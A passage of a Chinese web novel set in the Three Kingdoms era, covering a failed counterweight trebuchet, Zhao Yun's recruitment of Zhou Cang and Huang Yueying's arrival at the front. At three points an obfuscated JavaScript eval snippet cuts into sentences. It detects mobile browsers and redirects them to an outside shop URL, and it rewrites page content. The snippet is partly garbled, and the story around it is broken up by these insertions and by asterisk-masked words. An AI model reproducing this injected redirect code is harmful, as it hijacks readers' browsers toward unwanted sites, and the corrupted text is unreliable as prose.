一时间,场上只闻风声,所有人都屏息凝神,生怕触了主公的霉头。 ‘扑通’一声,李老叁直接跪倒在地,脸色惨白如纸。 “怎、怎么会这样......”李老叁失神地喃喃自语,眼睛死死盯着那仅仅飞出七十多步的石弹,“明明更大更长了...按常理该射得更远才对啊...” 突然,李老叁像是被惊醒般,猛地一个激灵,想起上次失败时刘琦虽未责罚,但那失望的眼神。这次造得更大,耗费材料更多,结果却......更不尽人意。 “主公恕罪!主公恕罪啊!” 李老叁以头叩地,声音发颤,“是小人无能...小人已经按您吩咐加长了杠杆,加固了基座,可...可这...小人实在不知问题出在何处,做不出主公想要的利器...” 刘琦的目光从远处的落点收回,落在跪地请罪的李老叁身上。 不过刘琦脸上并无怒色,反而带着几分了然。 “不怪你。”刘琦的声音平静,却带着一丝疲惫,“你已尽力了,你且退下吧。” 说完,刘琦缓步上前,绕着这架巨大的投石机仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632238|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查看。 杠杆也加长了,基座也足够稳固了,投石机架子也没有开裂,那问题在于... 刘琦伸手轻触那些仍在微微晃动的拽索。 饶了几圈,刘琦心中顿时明白了问题所在。 问题就出在这些绳子上,杠杆加长,需要的拉力更大,人越多,发力越难同步,力量在拉扯过程中相互抵消,反而事倍功半。 这架投石机的问题,正如历史上许多技术革新一样,从来都不是单一环节的突破就能解决的。 李老三和工匠们确实已经尽力了,他们按照自己的要求加长了杠杆,加固了基座,造出了这个时代几乎最顶尖的投石机结构。 但就像后世刚发明汽车时,若是只有华丽的外壳和坚固的轮子,却没有匹配的强大发动机,跑起来恐怕还不如马车快。 眼下的投石机正是如此,在刘琦这个穿越者的指点下,工匠们造出了接近宋元时期水平的投石机骨架,可它的“心脏“——动力系统,却还停留在最原始的人力拉扯阶段。 先进的结构与落后的动力严重不匹配,反而造成了“1+1眼下,刘琦是知道问题所在,也知道解决问题的办法,那就是跟上配置,上配重式投石机(**炮),但........ 刘琦一想到要向这些连人力投石机都理解的磕磕绊绊的工匠们解释更复杂的配重原理...,刘琦就感觉一阵头大。 配重式投石机涉及到的力学原理、结构设计、重心计算,对于这个时代的工匠而言,无异于天书。 仅凭刘琦脑海中那些模糊的概念和零星的记忆,想要在这个时代复现配重式投石机(**炮)出来,没有数年时间、没有一批顶尖的工匠通力合作,根本不可能实现。 “罢了。”刘琦收回思绪,对身后仍跪着的李老三和面面相觑的众将说道:“问题所在,我已明了,你们都先退下吧,待我思得解决之法,再行通知。” 众人如蒙大赦,连忙行礼退去,只留下刘琦一人站在空旷的场地上,对着那架‘水土不服’的巨物出神。 回到大帐,刘琦铺开新的绢布,提笔想要勾勒出配重式投石机的草图。 刘琦笔尖在绢布上游移,画出的线条却始终不尽如人意。 但许多关键细节,比如配重与射程的精确关系、释放机关的具体构造,在刘琦脑海中都是一片模糊。 “唉.....” 刘琦放下笔,揉了揉发胀的太阳穴,“这样的草图,就算送到襄阳、江陵去寻访名匠,恐怕也无人能看懂,更别说造出来了.....” 正当刘琦为此发愁时,忽然,一个身影浮现在刘琦脑海中。 黄月英! 是了!自己何须舍近求远!一个青史留名、以机巧著称的贤内助,不就在安陆吗? 刘琦想起婚后那些日子,时常能在黄月英闺房内见到那些制作精良的木鸢、自动运行的木犬、结构复杂的锁具...那些巧思,那些手艺,无一不显示出黄月英在这方面的超凡天赋。 “我怎么早没想到!” 刘琦猛地一拍桌案,眼中重新燃起希望的光芒,“能理解我的构想,并能在这个时代的技术条件下将它实现的,除了月英,还能有谁!” 想到这,刘琦再无犹豫,冲到案前,铺开新的绢布,奋笔疾书。 这次刘琦不仅详细描述了人力投石机的困境,更将配重式的构想,尽可能清晰地画了出来,重点标注了“以重物代人力”、“力出同源”、“稳定”、“释放机关”等关键词。 “**!”不一会,刘琦便将心中所有关于配重式投石机的所有零星知识绘画在绢布上,随后朝帐外高喊。 亲卫统领**应声而入。 “你等下挑选最好的马,最得力的人,昼夜兼程,将此信送往安陆府中,面交夫人!记住,这是军机要务,十万火急!”刘琦将封好的信件郑重递出,眼神灼灼。 “诺!”**接过信,转身大步离去,马蹄声很快消失在营外。 希望,如同黑暗中燃起的一簇火苗,在刘琦心中重新点亮。 然而,命运的巧合往往出人意料。 第57章 白马银枪破千军!周仓跪降! 就在刘琦于江夏前线为投石机与兵力发愁之际,天下的目光,却更多地聚焦在北方的另一片战场上。 时值建安五年(公元200年)六月,决定中原霸主命运的官渡之战,已进入最关键的相持阶段。 袁绍大军连营数十里,凭借绝对的兵力与粮草优势,日夜不停地向曹军阵地发动猛攻。 曹操虽然在前阵斩颜良、诛文丑,暂时挫动了袁军锐气,但在袁绍持续不断的压力下,此刻已是捉襟见肘。 曹军粮草日渐匮乏,士卒疲敝不堪。 据守营垒的将士们每日只能以稀粥果腹,箭矢消耗殆尽后只能拆毁营寨木料应急。 袁绍构筑楼橹,堆土如山,用箭俯射曹营,井阑上的**手更是居高临下,压得曹军抬不起头。 曹操亲临前线督战,眼看着士卒们面带菜色却仍在苦苦支撑,心中焦灼万分。 谋士荀彧从许都送来密信,直言库存粮草仅能维持半月,若再无转机,军心必将溃散。 此刻的曹操,真正陷入了起兵以来最危险的境地。 北有袁绍大军压境,南有刘表虎视眈眈,内部粮草将尽,外部援军无望。 就在曹操于官渡苦苦支撑,为粮草将尽、矢石俱缺而忧心如焚之际,那位曾与他“青梅煮酒”论英雄的刘备,此刻却并未在官渡主战场。 建安五年,刘备自徐州败于曹操后,暂投袁绍麾下。 官渡对峙期间,袁绍遣刘备率本部兵马南下,至汝南一带联结黄巾余部龚都等,意图扰乱曹操后方,袭扰许昌以南。 与此同时,远在数百里之外的豫州汝南郡境内,常山赵云正率百余骑沿古道向南疾驰。 而赵云所在的汝南郡,此时却是个微妙的地界。 汝南西部尚在曹操掌控之下,而东部则深受袁绍所署刘备人马与黄巾余部活动的影响,局势错综,兵匪难辨。 而赵云身后这百余骑兵,乃是赵云变卖祖产,倾尽家资,方招募得八十余同乡子弟,又得十余乌桓健儿慕其勇武信义,自带鞍马相投,愿为义从,遂成此军。 赵云人马虽寡,却皆是心腹敢战之士。 赵云这一路南下千里,凶险非常。 过冀州时,曾遭遇袁绍巡哨,疑其为曹军细作;入兖州界,又遇曹操斥候,当其是袁绍游骑,而沿途心生贪婪的匪寇更是屡屡皆是。 然赵云临危不乱,或骤马挺枪直破重围,或设疑兵迂回周旋。 银枪所向,连挑七员贼首;白马过处,连破三处关隘。 刘琦亲卫张诚紧随左右,但见赵云枪法如神,每每于险境中杀出血路,不禁暗叹主公有识人之明。 这一日,赵云行至汝南郡内卧牛山地界,只见山峦叠嶂,林莽森森。 张诚驱马走到赵云身旁,低声道:“赵兄,此地山势险恶,恐有恶匪,须防不测。” 赵云微一颔首,手中龙胆枪握紧几分,挥了挥手让队伍缓步先行,目光如电,扫视前方山势。 没过多久,忽然听见一声哨响,前面山道上就涌出几百名山贼,拦住了去路。 当先一将,黄巾抹额,手持长刀,正是卧牛山头领之一裴元绍。 裴元绍贪恋赵云队伍中神骏的照夜玉狮子与众多良马,又见对方人少且无重甲,便不顾周仓劝阻,执意下山劫掠。 “那个骑白马的汉子!赶紧让你手下把马和兵器留下,我可以饶你们不死!”裴元绍举刀对着赵云大喝道。 裴元绍贪婪的目光死死盯着赵云胯下的照夜玉狮子——那马通体雪白,神骏非凡,一看就是**挑一的宝马。 更别说队伍里其余百余匹战马,也都是膘肥体壮的上等货色。 而裴元绍身后的喽啰们早已张弓搭箭,百余支利箭齐刷刷地对准了赵云一行人,弓弦拉得吱吱作响,只待裴元绍一声令下。 赵云眉头微皱,这一路南下,类似的场面他见得实在太多了。 而且每次都是这般不知天高地厚的贼寇,说着几乎相同的威胁话语。 赵云连正眼都懒得给,只是冷声道:“无名草寇,也敢挡我去路?速速让开,可免一死。” 闻言裴元绍见赵云如此轻视自己,顿时大怒。 但裴元绍舍不得这些骏马,于是转身喝止手下:“不许放箭!都给我把弓放下!莫要伤了这些宝马!” 说罢裴元绍高举长刀,对身后百余名匪徒吼道:“弟兄们,随我活捉他们!” 闻言,手拿弓箭的喽啰们只得收起弓箭,挥舞着刀枪,跟着裴元绍一拥而上。 而冲在最前的裴元绍使出一招‘力劈华山’,势要将赵云劈于马下。 就在刀锋即将落下之际,赵云突然动了,只见赵云一夹马腹,胯下照夜玉狮子瞬间如离弦之箭般前冲,赵云手腕一抖,龙胆枪如银蛇出洞,枪尖自下而上疾挑而出。 赵云这一枪快得令人眼花,令裴元绍根本来不及变招,枪尖已从他胸前刺入,后背透出。 而赵云这一挑力道惊人,竟将裴元绍整个人挑离地面,挂在枪尖上。 挂在半空中的裴元绍身躯还在微微抽搐,鲜血顺着枪杆汩汩流下,恰似被串起来的腊肉。 而后面紧跟的喽啰们被这一幕吓得魂飞魄散,纷纷止步。 有人惊叫:“大当家他......” 但话未说完,就见赵云手腕一振,将裴元绍的尸身甩向人群,顿时砸倒一片。 就在裴元绍的尸身被甩入匪群的瞬间,赵云身后的百余精骑如同得到号令,骤然发动。 这些历经厮杀的将士早已蓄势待发,此刻如离弦之箭般冲入敌阵。 马蹄声如雷,刀光似雪,裴元绍手下这群喽啰哪里见过这等阵势?方才还气势汹汹的喽啰顿时乱作一团。 有人扭头就跑,有人跪地求饶,还有些负隅顽抗的,顷刻间便被铁骑踏过。 而刘琦亲卫张诚更是一马当先,长刀横扫,连斩三人。 乌桓骑兵更是骁勇,在马背上张弓搭箭,精准射杀企图逃窜的匪徒。 不过片刻功夫,这数百喽啰已死伤过半,余下的或降或逃,或潜入附近树林间化作鸟兽散。 而在后面的周仓看见自己结拜兄弟就这么被一**命,吓得魂飞魄散,心知遇上了绝顶高手,扭身就往山寨方向逃去。 就在这混战之中,赵云瞥见远处山岗上有个黑脸大汉扭身欲走。 此刻见那黑汉想要趁乱逃走,赵云当即拍马追去。 “收拾战场,看管降卒。”赵云对张诚吩咐一声,随即一夹马腹,照夜玉狮子长嘶一声,如一道白色闪电般向着黑汉逃走的方向追去。 而此刻周仓正拼命的狂奔,心中又惊又惧。 刚才周仓亲眼目睹赵云一枪挑杀裴元绍,又见其部下如此骁勇,自知绝非敌手。 此刻周仓唯一的念头,便是赶回山寨,带着这些年积攒的钱财远走高飞。 然而周仓刚拐过一个山坳,就听身后马蹄声急,回头一看,只见刚才跳起裴元绍的汉子已追至百步之内,银枪在阳光下泛着寒光,枪尖上裴元绍的鲜血尚未干涸。 “看枪!”赵云一声清喝,枪尖化作三点寒光,分别刺向周仓的后心、肩膀和大腿。 周仓听见风声,拼命转身格挡,虽然避开了要害,肩膀和大腿还是各中了一枪,鲜血顿时涌了出来。 但周仓也只是闷哼一声,随后咬着牙挥舞手中长刀,又跟赵云过了几招。 赵云见周仓身中自己两枪竟还能与自己战斗,心里不免有戏暗暗称奇: “这黑脸汉子身中两枪,这么重的伤还能与自己战斗,是条好汉。” 而赵云本就打算前往刘琦那,见这周仓竟如此勇猛,心中便起了招揽之心。 当下一招将周仓击退后,赵云收起**,勒住马问道:“你能硬接我数枪而不退,倒有几分真本事,我看你也是条好汉,报上你的姓名,怎么会落草为寇?” 周仓本来以为必死无疑,见对方停手问话,且语气中竟无杀意反有赞许,不由得一愣了一下,忍着痛拱手道:“败将周仓,谢将军不杀之恩!” “我本是黄巾军旧部,当年兵败后走投无路,只得与裴元绍在此**千余弟兄暂时安身,落草为寇也实乃迫不得已之举!” 赵云听了,正色道:“我乃常山赵子龙,现在要南下投奔江夏的刘府君。” “而刘府君仁义待人,正需要你们这样的好汉相助。” “你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640492|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是愿意改邪归正,便回山寨带着你那些兄弟们跟我一起去江夏,我一定在刘大人面前举荐,让你们都有个正经出路,总比在这里当土匪强。” 周仓听得赵云自报家门,脸上却是一片茫然。 常山赵子龙?周仓未曾听闻。 但这白马汉子的武艺他是亲眼所见——一枪便将裴元绍挑杀,这等身手,简直骇人听闻。 “壮士的武艺,周仓佩服。” 周仓忍着身体疼痛,沉声道,“只是......我寨内尚有数百老弱,而带着这千余弟兄和数百老弱,千里迢迢,前往江夏只怕......” 周仓的话未说完,但意思已经很明显。 这乱世之中,拖家带口长途跋涉,风险太大。 况且周仓对刘琦的了解,仅限于传闻中的‘汉室宗亲’、‘江夏太守’、以及曾在津乡大败孙策。 这些名头虽响,却不知其人究竟如何。 赵云看出周仓的顾虑,正色道:“刘府君仁德,必不会亏待诸位。况且...” 赵云的目光扫过周仓肩腿的伤口,“你以为继续留在此地,就能安稳度日么?” 周仓闻言,脸色微变。 何尝不知,如今不过是借着刘备在汝南搅动风云,曹操或者说汝南太守无暇他顾,他周仓才能在此偏安一隅。 一旦中原局势稳定,他们这盘踞在卧牛山的千余匪寇,迟早是要被剿灭的。 想到此处,周仓终于把心一横,眼下形势,不跟着这汉子去江夏左右都是死路一条。 于是,周仓“喜出望外“地扔下大刀,单膝跪地:“周仓愿率部归顺,追随壮士前往江夏!” 赵云满意地点头,下马扶起周仓:“速回山寨整顿,我们即日启程。” 待周仓一瘸一拐地往山寨走去,张诚策马近前,低声道:“赵兄,这周仓...不会趁机跑了?” 赵云望着周仓远去的背影,淡然道:“他不会,这卧牛山看似安稳,实则危如累卵。曹操眼下无暇顾及,待腾出手来,岂容匪寇盘踞?” “周仓是明白人,知道跟着我们,至少能给手下弟兄谋个正经出身。” 而约莫一个时辰后,周仓果然带着人马下山。 除去八百余青壮,还有五百多老弱妇孺,带着简单的行囊。 “壮士,山寨已经收拾妥当。”周仓回禀道,“而愿意跟随的弟兄都在这里了。” 赵云看着这支拖家带口的队伍,点了点头:“出发吧,目标江夏。” 视线转回夏口。 刘琦将那封绘有配重式投石机草图与原理详解的密信,交由心腹**选派得力人手,昼夜兼程送往安陆交予夫人黄月英后,心中虽升起希望,却也没有说将全部希望寄予黄月英身上,比起被动的等待,刘琦更喜欢主动出击。 “岂能尽依外援,而坐失眼前之时?” 刘琦负手立于帐前,目光投向夏口城,一个声音在脑海中响起。 将成败完全系于远方未知的回音,是为将者之大忌。 不过,新的配重式投石机,刘琦并不打算在这大营附近营造了。 此等庞然大物,工程繁巨,动静绝不会小,想要完全遮掩踪迹,几乎不可能。 而一旦被周瑜察觉刘琦在打造前所未见的怪异器械,必生警惕。 周瑜非是庸碌之辈,见识卓绝,即便不知此物具体有何用,但也绝不会坐视刘琦安然打造出可能威胁夏口城防的利器。 届时,周瑜必会遣精锐前来袭扰破坏,一如前夜潘璋、韩当那般。 念及此,刘琦目光扫过远处那些尚未完工的冲车、井阑残骸,心中更是凛然。 这些木质器械,最惧的便是火攻,若敌军故技重施,一把火便能将他数月心血与破城希望焚为灰烬。 心念既定,刘琦立刻升帐,召集黄忠、王朗等将校。 “诸位!” 刘琦目光扫过帐下将领。 “夏口城高池深,强攻难下,我军需另辟蹊径,投石机乃破城关键,然在此研制,易被敌军所趁。” “我意已决,即日率工匠及亲卫一部,秘密返回石阳戍,专司督造此物。” 随即刘琦下达一连串军令:“黄忠、王朗听令!” 第58章 刘琦:投石机炸了!夫人快来救命 “黄忠、王朗听令!” “末将在!”二人出列抱拳应道。 “命你二人总领此地大军,坚守营寨,高悬旌旗,多布疑兵,务使周瑜以为我主力仍在,不敢轻举妄动。” “一切以稳守为上,无我号令,绝不可擅自出战!” “末将遵命!” “此外,”刘琦略一沉吟,继续道,“速遣快马传令水师庞统先生,请他暂离水寨,前来陆上大营坐镇,统筹全局,以应对周瑜诡计。” 有庞统这位智囊在此主持,刘琦方能安心于后方攻坚克难。 “诺!”传令兵领命疾驰而出。 安排既定,刘琦不再耽搁,即刻带着以李老叁为首的众工匠、部分亲卫以及已造好的部件材料,悄无声息地离开了夏口大营,隐入后方关隘石阳戍内。 抵达石阳戍后,刘琦立刻将关隘内一片僻静的区域划为禁区,派驻亲兵严密把守,所有工匠及其家眷均安置在内,不得随意出入。 翌日,在那片被严密看守的空地上,刘琦亲自向以李老叁为首的工匠们阐述了他的新构想——配重式投石机。 刘琦尽可能详细地解释了如何以巨大的配重箱代替人力拉扯,如何设计精巧的释放机关,以及配重与射程、杠杆比例之间的关系。 尽管刘琦讲解得已足够耐心,但配重、杠杆、力矩、释放机构这些概念,对于这个时代的工匠而言,依然是前所未闻的艰深学问,工匠们听得似懂非懂,脸上写满了困惑与茫然。 李老叁看着那复杂的草图,眉头紧锁,尝试着理解:“主公之意……是以重物下坠之力,替代人力拉扯,驱动炮梢?” “正是此理!”刘琦点头道。 “人力拉扯,难以同步,力量分散。而配重之力,出于一源,稳定而磅礴!若能制成,射程远超人力牵引,且更为精准!” 李老叁与其他工匠交换了一下眼神,都看到了对方眼中的震撼与难以置信。 不用人拉,靠石头自己掉下来就能把石头抛出去?还能抛得更远?这简直是闻所未闻! 但提出这个构想的是主公刘琦,他们即便心中存疑,也只能奋力一试。 “主公,此物……结构精妙,非比寻常。小人等……需要时间琢磨,反复试造小样,恐非一朝一夕之功。”李老叁硬着头皮说道。 刘琦叹了口气,刘琦何尝不知其中艰难,这几乎是要求他们跨越数百年的技术鸿沟。 “我明白。” 刘琦点头,“你等不必有压力,尽管放手去试。需要何物,尽管向**提报。一次不成,便十次,百次!我就在此,与尔等一同参详!” 刘琦知道,指望黄月英那边立刻传来好消息是不现实的,只能自己这边也必须全力以赴。 随后刘琦将大部分精力都投入到了石阳戍的“秘密工坊”中,与工匠们同吃同住,亲自参与讨论,用自己那超越时代的见识(尽管模糊)和强大的学习能力,努力引导着工匠们向着正确的方向摸索。 在刘琦的亲自督导与工匠们夜以继日的赶工下,数日之后,石阳关隘内空地上,赫然矗立起一个模样古怪的庞然大物。 它与之前的人力牵引式投石机骨架相似,但在炮梢(杠杆)短臂的一端,悬挂上了一个用粗大原木钉成、内填巨石的巨大箱体——这便是刘琦构想中的“配重箱”。 而炮梢的长臂末端,则依旧是装载石弹的皮窝。 整个结构看上去头重脚轻,透着一股笨拙而危险的气息。 李老叁围着这新造物转了几圈,脸上既有期待更有忐忑。 李老叁按照刘琦指点的原理,尽可能选用了坚韧的木料,但对这“配重”究竟该多重,杠杆能否承受住瞬间的巨力,心中全然没底。 回到刘琦身旁后,李老叁声音有些发干。“主公,已……已准备妥当了。” 刘琦站于远处,目光看着这架粗糙的“**炮”原型机,心中亦是心潮澎湃。 成败在此一举! 刘琦深吸一口气,沉声道:“试!” 随着刘琦一声令下。 “**炮”原型机旁的几名力士用力捶击扳动释放机关。 “咔嚓”一声脆响,卡住炮梢的销子被砸开开! 下一刻,那沉重的配重箱带着巨大的势能轰然下坠! 所有人都屏住了呼吸,期待着石弹破空而出的景象。 然而,预想中长臂飞扬、石弹激射的场景并未出现。 就在配重箱下坠的瞬间——“嘎吱……嘭!!!” 一声令人牙酸的、仿佛巨木被强行折断的爆响炸开! 只见那根承载着所有力量转换期望的炮梢(杠杆),根本承受不住配重箱下坠瞬间产生的恐怖拉力,竟从中部猛地断裂开来! 木屑如同**般四处飞溅! 失去牵引的配重箱如同脱缰的野兽,带着断裂的半截杠杆,重重地砸在地上,发出沉闷的巨响,激起漫天尘土。 而炮梢的另一端,那装载石弹的皮窝无力地晃荡了几下,石弹滚落在地,连一尺都未能抛出。 现场一片死寂,工匠们个个面如土色,李老叁更是直接跪倒在地,浑身颤抖:“主公……小人……小人无能!” 刘琦站在原地,尘土沾满了衣袍,他也有些灰头土脸。 刘琦望着那彻底损毁的**炮残骸,心中并无多少意外,反倒有种"果然如此"的了然。 第一次试造这等精妙之物,若是一蹴而成,反而才是怪事。 原理或许正确,但材料的强度、结构的细节、力量的精确计算……每一个环节的不足,都足以导致制造**炮的失败。 “李老叁!”刘琦走到李老叁身前。 “小……小人在!”李老叁连忙应声。 “一次失败,算不得什么!一次不成,那便十次!十次不成,便百次!” “谨遵主公之命!”李老叁等人轰然应诺。 刘琦微微颔首。 就在工匠们在石阳戍对着那堆断裂的残骸,苦苦思索加固改良之法时。 关隘望楼上的哨卒忽然发出了警讯! “报——!”一名值守的军侯疾步奔入工坊区域,脸上带着惊疑不定的神色,“主公!关外出现一支兵马,约有三四千之众,正朝关隘而来!” “兵马?”刘琦闻言,眉头瞬间紧锁,心中甚是疑惑。 刘琦迅速在脑中盘算:陈应的五千襄阳营自沙羡出发,绝无可能如此神速抵达,周瑜的人马更不可能绕过前方大营出现在此地。 刘琦带着疑惑立刻放下手中事务,沉声道:“随我上关墙!” 快速登上关墙后,刘琦极目远眺。 只见原野上,一支队伍正向着关隘而来,刘琦扫了眼确实约有数千之众。 而队伍打出的旗号颇为杂乱,隐约可见“李”、“黄”、“申”等字样,看上去倒像是各家世家豪强的部曲旗号,并非荆州军制式旗帜。 这让刘琦更加疑惑,这些世家私兵为何会集结于此,又意欲何为? “可曾探明来者身份?” 刘琦向身旁的军侯询问,语气凝重。 “回主公,旗号混杂,皆是各地豪族标识。对方遣使通传,只说是自安陆而来,为首者……为首者声称是主母……” 军侯的声音带着几分不确定,毕竟主母亲临前线,还带着数千兵马,实在有些匪夷所思。 “安陆?主母?”刘琦先是一怔,心中的疑惑不降反增。 安陆是刘琦后方根基,由诸葛亮坐镇,月英怎会突然离开? 更蹊跷的是,还带着数千打着各家旗号的兵马? 而刘琦近期只调动了沙羡的陈应所部,并未向安陆求援,诸葛亮也未曾来信提及有援军派出。 这突兀出现的队伍,虽打着世家旗号看似无害,但乱世之中,诈称旗号、伪作友军之事屡见不鲜,岂能轻信? “再探!务必确认对方主事者身份,问明来意!”刘琦对身旁的亲卫令道。 “诺!”亲卫应道。 片刻后,亲卫再度飞奔而回,此次脸上已尽是激动:“主公!确认了!确是主母黄夫人亲至!兵马皆来自安陆,打的是各家部曲旗号,主母请求入关!” 听闻确是月英无误后,刘琦心中巨石落地,虽仍有兵马来源的疑问,但戒备已消。 刘琦立刻下令:“打开关门!” 而刘琦自己则移步至关内校场内等候。 城门缓缓开启,在守军警惕的注视下,黄月英在几位世家部曲头领的簇拥下,乘坐马车缓缓而入被引至校场安置。 黄月英立即下了马车,快步穿过正在整队的士兵,走向刘琦。 夫妇相见,不及细说,刘琦先将她与几位领兵的世家代表微微颔首致意,随即吩咐身旁亲卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646456|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“引诸位头领及将士们至校场东侧安顿,备好饮水食料,让将士们好生歇息。” 随后,刘琦引黄月英至关隘内临时收拾出的一处别院。 摒退左右,刘琦才得以仔细端详妻子,问出心中盘桓已久的疑惑:“月英,你怎会突然来此?还带着这许多兵马?我并未向孔明求援,你前来亦未曾提前通报,方才在关墙上,险些误会。” 黄月英接过侍从递上的温水饮了一口,略缓行程劳顿,这才抬眼看向刘琦,语气带着一丝无奈: “夫君,非是妾身不通报。我与孔明皆不知你已离开夏口大营,移驻至此石阳戍。” “此行本是直奔夏口大营而去,途经此地,见是自家关隘,方欲入关休整,再往前线。” 黄月英稍作停顿,继续解释道:“至于为何前来,缘由有二。” 黄月英目光扫过窗外工坊的大致方向,“其一,便是为你信中那‘配重投石机’之构想,此物构思精妙。” “然其中杠杆比例、配重权衡、机括承力、结构强度,诸多关节,差之毫厘,谬以千里。图画文字,难以尽述,非亲至现场,观其形,测其质,反复调试,难以竟全功。我恐书信往来,徒耗光阴,延误战机,故不请自来。” “至于这些兵马,是孔明在安陆听闻你调走了沙羡的陈应所部,恐你前线兵力吃紧,甚是担忧。 “是以,孔明这些时日竭力收拢各方溃散兵卒,整合黄祖旧部,又说服了几家世家贡献出部分部曲,凑得这三千人,交由我一同带来,以增夫君声势。我担心行程安危,便与他们同行至此。” 刘琦看着风尘仆仆却眼神明亮的妻子,又望了望校场上虽然旗号杂乱却军容整肃的生力军。 刘琦心中感慨万千,不由得紧紧握住黄月英的手:“得妻如此,得友如孔明,实乃刘琦之幸!” 黄月英被刘琦这般炽热的目光看得双颊微红,又感受到刘琦掌心传来的温度。 黄月英今日穿着一袭淡青色素罗裙,虽经长途跋涉略显风尘,却掩不住那玲珑身段。 因微微低头,露出一段白皙秀颀的脖颈,几缕青丝垂落颊边,更衬得肌肤细腻如玉。 黄月英忽然想起临行前在安陆时,曾听闻一些从前线轮换下来的伤兵私下议论,说军中将士久不经家室,见了母猪都要多看几眼。 此刻见夫君这般情状,又思及刘琦独在军中已近月余,莫不是...... 想到这,黄月英顿时双颊绯红,连耳根都染上霞色,慌忙想要抽回手,声如蚊蚋:“夫君......这、这**的,这般......这般不太妥当。” 刘琦看着她这般羞态,那泛红的耳垂在光线下近乎透明,心头不由一热。 不过,很快黄月英稍定心神,声音渐渐恢复从容:“况且各部曲首领初至,还需夫君亲自会见抚慰。” “孔明虽已说服各家出兵相助,但夫君既为主帅,当亲自示以恩遇,方能收拢人心。” 但这话一出口,黄月英心头便是一紧,她虽知劝谏在理,但自己这般推拒,会不会让夫君觉得自己太过不解风情。 黄月英悄悄抬眸瞥了刘琦一眼,见刘琦神色如常,这才稍稍安心,又轻声补充道:“若夫君真想.....细说体己话,待入夜后...妾身在房中等候便是。” 说到最后几个字时,黄月英的声音又低了下去,目光不由自主地飘向别处,不敢与刘琦对视。 刘琦先是一怔,待瞧见黄月英连脖颈都泛起粉红,顿时明白她想到了何处,不由失笑。 知她既顾全了礼数,又提醒了收拢军心之要,当即颔首:“夫人思虑周详。” 说罢便唤来亲卫:“速请诸位部曲头领至议事厅,我要亲自设宴相待。” 待亲卫领命而去后,刘琦才凑近黄月英耳边,压低声音带着几分促狭的笑意:“夫人方才想到哪里去了?” “不过夫人既然主动提起要''细说体己话'',那为夫今晚便好生期待了。” 黄月英被刘琦这话说得耳根通红,羞得就要跺脚,却听刘琦话锋一转:“现在,还是先让亲卫带你去看看那断裂的投石机要紧。待我见完诸位首领,便去寻你。” “正该如此。”黄月英如蒙大赦,连忙应声,几乎是小跑着跟着亲卫离开了别院。 第59章 得此贤妻天相助,内助之贤妙难言 当夜,石阳关隘议事厅内灯火通明。 刘琦设下简便却不失诚意的酒宴,亲自招待那一同而来的世家部曲头领。 “诸位首领远道而来,不畏艰险,助我刘琦一臂之力,此情此谊,刘琦谨记于心!” 刘琦朗声说着举起酒杯,“前线事紧,没什么好东西,就用这杯薄酒给诸位洗尘——满饮此杯!” 说罢,刘琦便先一饮而尽。 几位头领对视一眼,见刘琦既有方镇之主的样子,又没摆半分架子,心里头先松快了大半,纷纷端起酒杯应和:“愿为刘府君效力!” 席间,刘琦细心询问各家部曲的情况,关切问道粮草辎重可曾齐备,并温言承诺一应军需由他刘琦统筹供给。 随后,刘琦既谈及眼前战局,更展望日后若能匡扶汉室,必与各家共守乡土,同享太平。 刘琦的话语恳切而有担当,既显主帅气度。 如此几番对谈下来,几位头领看向刘琦的眼神里,早没了起初的试探,满是敬服。 他们带来的,不仅是兵马,更是安陆乃至荆州部分世家的人心向背,而刘琦此举,正是要将这份“向背”彻底稳固下来。 宴席散时已过亥时,刘琦送几位头领到厅门口,看着他们各自回营安顿好,方才转身。 随后,刘琦踏着月色回到别院。 屋里两盏红烛烧得正旺,暖光裹着人,驱散了夜晚的清寒。 只见黄月英正坐在榻边,就着烛光翻阅几卷带来的皮纸图样,神情专注,侧脸在烛光下勾勒出恬静的线条。 黄月英已换下白日间那身沾染风尘的素罗裙,穿着一件较为轻便的居家鹅黄色襦裙,墨黑的长发松松地挽起,卸去了钗环,更添了几分柔美。 听到脚步声,黄月英抬起头,见是刘琦归来,连忙放下手中图样,起身敛衽行礼,姿态端庄:“夫君。” 然而就在黄月英行礼的瞬间,白日里那句“待入夜后...妾身在房中等候便是”的承诺倏然浮现脑海,让黄月英心头一跳,那刚刚抬起的脸颊上,不受控制地飞起两抹红云,连耳根都悄悄染上了绯色。 黄月英慌忙借由询问掩饰失态:“宴席……可还顺利?” “嗯,还算顺利!”刘琦应了一声,反手轻轻合上房门,隔绝了外界的喧嚣。 刘琦走近,很自然地握住黄月英的手,指尖在她细腻的手背上轻轻摩挲,目光温柔地看着黄月英。 黄月英自然而然的将另一只手轻轻覆在刘琦的手背上,抬眸迎上刘琦的视线,声音虽轻却带着几分难得的主动: 